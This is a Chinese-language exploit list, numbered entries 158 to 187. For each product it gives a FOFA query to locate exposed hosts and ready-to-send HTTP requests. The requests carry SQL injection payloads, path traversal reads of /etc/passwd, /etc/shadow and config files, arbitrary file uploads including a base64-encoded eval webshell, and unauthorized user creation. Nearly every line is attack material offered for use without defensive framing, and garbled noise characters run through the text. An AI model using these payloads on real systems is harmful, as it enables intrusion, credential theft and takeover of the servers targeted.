http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
  I0 O0 q! I9 O& T
) ?& l5 [9 R8 S7 x8 l5 |$ h  D158. Mura-CMS-processAsyncObject存在SQL注入
- {; o+ g' H7 u0 [6 aCVE-2024-32640
$ p$ c1 C; e: J' ^4 q. a6 mFOFA："Generator: Masa CMS"
# Y; y3 a8 A* q0 }# a" GPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
" E5 q! H: ~7 J* @# D1 V9 nContent-Type: application/x-www-form-urlencoded
% O* ^, X/ K4 ~1 C0 ?# A$ T' o
# X7 w( s5 C" l/ D$ F2 ~object=displayregion&contenthistid=x\'&previewid=1

' u3 ^! |6 ^6 a( x
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
, L3 [2 D" h- ~Host: x.x.x.x
; z2 O" B% F$ ?. t5 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
1 [( v1 Q# n+ x  E, j. F% X6 |1 FConnection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
4 v  k5 o4 E# \9 \- ^
8 S7 Y: H7 M9 V<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
' f# U. L5 e& }<soap:Body>
+ R1 d6 }- U1 s8 _<jobUpload xmlns="http://rainier">
) M+ ]) f" b7 s1 B5 W0 K' p+ x6 R<vcode>1</vcode>
<subFolder></subFolder>
9 R0 L- p7 R! h. k" O$ ^& Z9 F<fileName>abcrce.asmx</fileName>
/ f' H/ k5 J3 p  Q" Y<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
6 R- x1 L. K. M# @* O</jobUpload>
</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
% T6 y9 ^7 f. ~% V- N! \
; @" P! n6 k, M5 }4 o- P% {
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
# }! e' G5 y/ ]$ P- t5 CGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
! S2 H5 s' [. Z- H1 p) T8 ]6 WHost: x.x.x.x
" ]$ Y6 v7 p! D" o; i9 dUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
/ a' y/ N, t# H0 _( lConnection: close
Accept: */*
Accept-Language: en
3 B" g& I# I/ {Accept-Encoding: gzip
4 @  X( U  R2 ~1 _# y; b

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
( Q0 X8 K2 K2 z+ r, bHost: x.x.x.x
. U6 d. Q' Z2 Y3 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
# E/ E4 d) N2 sAccept-Encoding: gzip
. Z( p9 i) |& [
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
$ o; h9 {) e! Z4 d# M) ehttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
8 a1 }" n; ~3 H, j" O<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
- m# w' E0 I1 D3 T<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
5 w' e# q5 x( m" r: P" n</soap:Envelope>

6 p! b; @7 ~, l3 N# q% @& [9 _
3 }( [9 x/ A: Y7 b% D4 h1 `" xhttp://x.x.x.x/dizxdell.aspx
& L4 |4 I. ~, e% W+ M2 b
+ g- ~5 Q" q* Z( n% Y8 e162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
% l: P7 j5 z* X* v$ t1 O4 MFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
; Z+ I  x- t' d# UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

. D# G* \6 M( o! _, Q% n------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
( A! V; Z3 ?7 w: gContent-Type: application/octet-stream
/ }$ _/ x% \$ e. }0 v4 X3 g
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
/ C! v5 r, q6 K
- G8 A7 F+ {1 H: H4 e+ @/ @; Iupload
# r  I% q5 D; y------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
6 s0 {; g! n$ v' rContent-Disposition: form-data; name="remotePath"

/ b5 o$ @# ~3 r( X, m/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

# j1 F  X! y( H$ K, p' X3 J, l  @
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
. P3 X6 o4 o6 H5 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
. y4 @* v3 r/ ?. {+ a3 e1 g" A2 b' MConnection: close
Content-Length: 293
  T0 S5 J7 `$ H6 oAccept: */*
& p6 }. W1 n0 Z5 {3 Q3 o, {Accept-Encoding: gzip, deflate
; ?/ [! i3 _( f" c  {0 QAccept-Language: zh-CN,zh;q=0.9
# S' t; j5 ^: V# l4 U% mContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

# M5 T' y7 o1 O2 t$ ]1 D- A------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
) I. x6 E) ?2 }& m
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
' m8 H5 w) M# l  i4 O7 F: B. T1 S& rContent-Type: image/jpeg
) t* u5 D" Y2 x% \; m
5 C: N3 o6 V! W  `rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

* C1 V6 ~$ w; e8 e9 a- [
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
# v5 p: L) Z9 v2 C8 m* E) R  nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
% K. T% F- P1 `. PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
5 j  \( V0 ]  a+ z+ O- mContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
* B! E, }; u3 p' Z. MX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

5 Q2 U2 ^8 m- y8 G0 V8 x* Y) L------dqdaieopnozbkapjacdbdthlvtlyl
: n3 |2 p6 K/ r! ]Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
6 k/ s; H- p+ @) Z5 h9 X. P3 Y& LContent-Type: image/jpeg
  }) N1 ]' v! |, O6 T- h  g% X. o
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


/ q; n; ^4 V* x- g5 y( Uhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
5 a+ B1 \5 x' T4 W8 I5 R; t
% q7 O: X- ~  L. l165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
2 u" n0 K/ D: C; {: pURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

  r" y/ f; l" [" v+ z! G) v$ `
2 {- G4 `% h/ h  x# Q166. 中成科信票务管理平台SeatMapHandler SQL注入
3 V) X6 C2 D+ p& ZFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
  m8 y4 E; Z, nCache-Control: no-cache
7 v5 a: c, y) z: Z. @Upgrade-Insecure-Requests: 1
7 w1 E2 s* s! y6 W( uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 m9 ~' ?+ V/ UAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
$ G& b/ o- ^( P5 OConnection: close
9 C2 r' D% ]) F/ Q3 dContent-Type: application/x-www-form-urlencoded
( ?! r5 }, X- s+ _/ l- aContent-Length: 89
" f/ R8 j! y. V- m( `# o
+ A; P6 f. m# DMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

/ s5 U6 @- u  m. q- T4 B
* y* M: d+ D% G9 D  v2 M+ L% [167. 精益价值管理系统 DownLoad.aspx任意文件读取
& a! d  X# S8 D" B4 T% R: `1 [% IFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
/ b9 y! g* Q4 d! [! G' LGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
, i$ O. ^0 @3 T, X( k! g+ w# LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  [  y% t# Y  s. pAccept-Encoding: gzip, deflate
Accept: */*
* w1 I/ d2 L1 S1 J. WConnection: keep-alive

9 J! O1 X8 ~# Q. W1 L
( T# N/ K! o' {3 M. C168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- Y) ^1 `3 U- s4 I" G) b- F0 e1 m9 LConnection: close
6 V" B$ A- G! h% M


169. 宏景EHR downlawbase SQL注入
+ P4 O6 F5 G+ }$ P3 EFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
; P7 u& A, b) H) B% RAccept-Encoding: gzip, deflate
0 C- f: y9 x7 o" s6 s3 @Connection: close
% K3 C! @1 ?( @: S7 A  v- N. j8 U


% T5 o- |, ?' z! }7 K) l( c170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
; X  T" P% n- w2 x% U! L2 l( wHost: balalanengliang
( D- }4 S+ X+ B$ C, V* }$ R; @# VUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

+ p5 z2 @2 Y7 j) z# {+ mfilename=../webapps/ROOT/WEB-INF/web.xml

# Z/ g: C9 M+ N  }" Y4 t" A; y7 n
! v! P% u0 x5 P) k# o- C+ r171. 通天星CMSV6车载定位监控平台 SQL注入
) q+ ~% G* e8 g, K! xFOFA：body="/808gps/"
; D  \. T/ R6 a! \GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
, W% ^. }! ]* ]# u7 M1 {Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: f; t7 G# R8 y0 `, eConnection: close



$ k$ \6 t. `& x) `* N- V7 ~172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
9 ?6 b. b$ [, \6 k7 ]9 CGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
$ }5 W+ m$ x% c( f6 A4 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
" S0 z0 J$ H) S3 j4 m4 E' |8 U% VAccept: */*
Connection: keep-alive
5 A% C. p# V. t- \, `1 \
1 N4 d" p+ a$ ^0 W" c3 J

173. Check Point 安全网关任意文件读取
CVE-2024-24919
' w2 q! A/ M/ g4 R0 RFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
9 k6 r/ ]0 h' X& a5 qHost: your-ip
Content-Type: application/x-www-form-urlencoded

# @7 x% Y+ [  g" |) iaCSHELL/../../../../../../../etc/shadow
/ j+ ^4 y& O/ x# E1 u  ?. w
9 E* s& i! Q, {0 R% q
3 \, U$ m. h5 ~' `" U
# c. ]( z+ o' g174. 金和OA C6 FileDownLoad.aspx 任意文件读取
0 K$ F2 O! A* p, QFOFA：app="金和网络-金和OA"
7 P* ^- R$ h6 D' s9 bGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
( l) J+ ~  O6 M0 H& \) ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& s' d# T2 f0 S& hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 @" f4 W2 b$ u/ z! @2 m/ [Accept-Encoding: gzip, deflate, br
; L7 F' V2 z* N6 Q9 \6 aAccept-Language: zh-CN,zh;q=0.9
Connection: close
9 ^/ i  Q4 p- Y% v6 v6 r


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
4 R" t5 p' }9 b- C7 d, sFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 B1 M2 v0 g2 J2 k2 o! PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
# k2 B# F+ b9 a2 d, A3 ]2 m, |

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
- y: ?5 B2 [0 I; lPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
$ T8 w1 |( u% u* {" P9 J% \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
2 c" V+ W( L. Q: V2 b* K! YContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
% _5 j% G4 D. \& \# v
. l7 ~/ f1 k& k" J% Q& g------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
" x$ w9 E! W; x* G* }Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
% j- x3 ~/ e+ T4 Y0 z

2 O: |& N( x+ A8 w------WebKitFormBoundaryOKldnDPT--

, f0 ~2 l$ o- d/ Y! ~) m0 o# I6 ?

9 r$ M/ |9 D, M& V; x177. H3C路由器敏感信息泄露
3 z3 I2 i9 \: H& k% E/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
  H1 a$ f! s2 d( C, C2 o/userLogin.asp/../actionpolicy_status/../M60.cfg
8 J3 ]7 Q' F3 v+ P5 k) d* q, n/userLogin.asp/../actionpolicy_status/../GR8300.cfg
" M: s8 N- G; N* J# _( [4 z/userLogin.asp/../actionpolicy_status/../GR5200.cfg
$ Z8 D' L/ Z  p% U7 F1 U: F/userLogin.asp/../actionpolicy_status/../GR3200.cfg
3 T- J) O4 @$ ^; o; y/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
2 E- I# a9 N5 I  y; e1 l5 `  S/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
1 i* ~' ~  U9 i$ W. T* d/userLogin.asp/../actionpolicy_status/../ER3260.cfg
, E; G4 j5 ]% Y* C& k' {0 G) n/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
9 @% e/ X, y- j8 }/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
% s# Q$ ~% v6 P$ {( z  m/ l" T/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

3 m! I8 R) }0 G
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
7 m3 C$ l  Y- a2 S+ P1 y6 lAccept-Encoding: gzip, deflate
7 j+ T. x4 z) w7 m7 W9 y6 \Connection: close
8 t- J: `) i+ V0 ^/ gContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
( U$ [3 s/ c5 Y. ~Content-Type: application/octet-stream
" |3 G& v. ^1 L! J; XContent-Length: 255
4 v4 z9 C3 K" a1 i( |& u, k5 ^
& y& h0 \& H# Y# V$ i. P4 B- H12234
-----------------aqutkea7vvanpqy3rh2l--
) I& ]1 u9 X: x5 g

GET /imc/primepush/%2e%2e/flex/12234.txt


' v8 a- t" g* E5 i: N179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
/ o2 F% @. U/ I, }+ v) [3 ~Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=
5 m* w$ b; z! i: `: a0 ?

4 x8 Z4 T. R! `0 l- U180. 帮管客 CRM jiliyu SQL注入
  s& {' `& `3 oFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
0 J/ U- Z/ O) }: F! e& C$ }Host: your-ip
# N  ?' t9 d0 C, N: _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, Y6 k% `5 w1 M6 ^6 L/ R! m6 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
$ P4 O9 t1 ^# a. K0 S% p7 a, P- ZAccept-Language: zh-CN,zh;q=0.9
, r8 _. O4 K$ J6 P! ]Connection: close
: W, }- D; e! k) A8 j5 U: j& d9 h
" W2 |1 K3 v; O
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
1 E. y1 }& ~3 N2 p% @FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
5 M8 e; n! a! yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
8 b5 Z! @# |1 d' ]+ [/ }7 QConnection: close
Content-Type: application/x-www-form-urlencoded


5 W$ U( Z0 w) {4 a: C+ {( Zaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

+ T* `. K( B  B2 o7 P
/ [# [7 h( [$ R! E182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 @. G" ?3 ^# P; g  U5 E. MFOFA："PDCA/js/_publicCom.js"
5 d3 J- m, j% o# _POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
$ o/ a  J! G. I! [" yHost: your-ip
6 J" r4 X7 p9 J% ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 L& T3 S; |' I  f! S$ ]7 ^. ]Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 j, {3 R9 M7 RConnection: close
Content-Type: application/x-www-form-urlencoded


0 h- e" T- l; H% j0 l- Tusername=test1234&pwd=test1234&savedays=1

# e8 H- I9 ?& {* t6 L0 S
$ E' F- T& Z* |) c: L% `/ s8 _; T183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
" o0 N: D/ `4 }8 oFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
4 w& r0 M( Y6 I; {1 ~Connection: close
4 j- d/ Q$ T4 x0 u6 \; u. c! q
/ ]& a$ o. @1 H
8 d1 }: e3 L( l184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
! Q8 [4 M9 P0 [1 I" GFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
+ V2 v" ]# J% b1 @7 kAccept-Encoding: gzip, deflate
" O3 ^7 u. v9 G6 x- l, bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
6 ?; A8 c0 l3 }7 ?8 f# A" J- P- ~% jAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
3 c" o, `& {) g4 k/ EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
/ Q4 D1 U! X  Q8 d, @* O2 Z
# j+ H% {% C0 i3 M9 W: p
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

* G0 v% p" i9 R6 Z6 [  q; B/ [
4 |; n* z6 `  N* y8 S# i$ b185. 瑞友天翼应用虚拟化系统SQL注入
1 A1 K: t: y6 Y! t% g- U5 Xversion < 7.0.5.1
. X4 j0 r* M! f1 `  N; ~' Q, XFOFA：app="REALOR-天翼应用虚拟化系统"
* Q! S2 ~4 b8 y# BGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

/ X! M* K' V* n9 n! I1 Q
186. F-logic DataCube3 SQL注入
CVE-2024-31750
9 R. C/ o* S0 KF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
1 \3 m3 B( n6 E$ _5 [, J6 g9 ?* LPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  k" f7 f1 @% l& @+ r* t: IAccept-Encoding: gzip, deflate
# ?7 }1 n. K  ]8 nConnection: close
Content-Type: application/x-www-form-urlencoded

* ]$ d, x" C9 m0 H/ treq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
% r* U4 a- Z7 v3 O4 H. ~& `: c0 Q: y" F+ TCVE-2024-32640
7 l' A6 x) T4 k6 W/ X+ E8 lFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
& |0 Y; S8 A, IHost: your-ip
Content-Type: application/x-www-form-urlencoded
0 Z4 L- g) b) k* Z, L

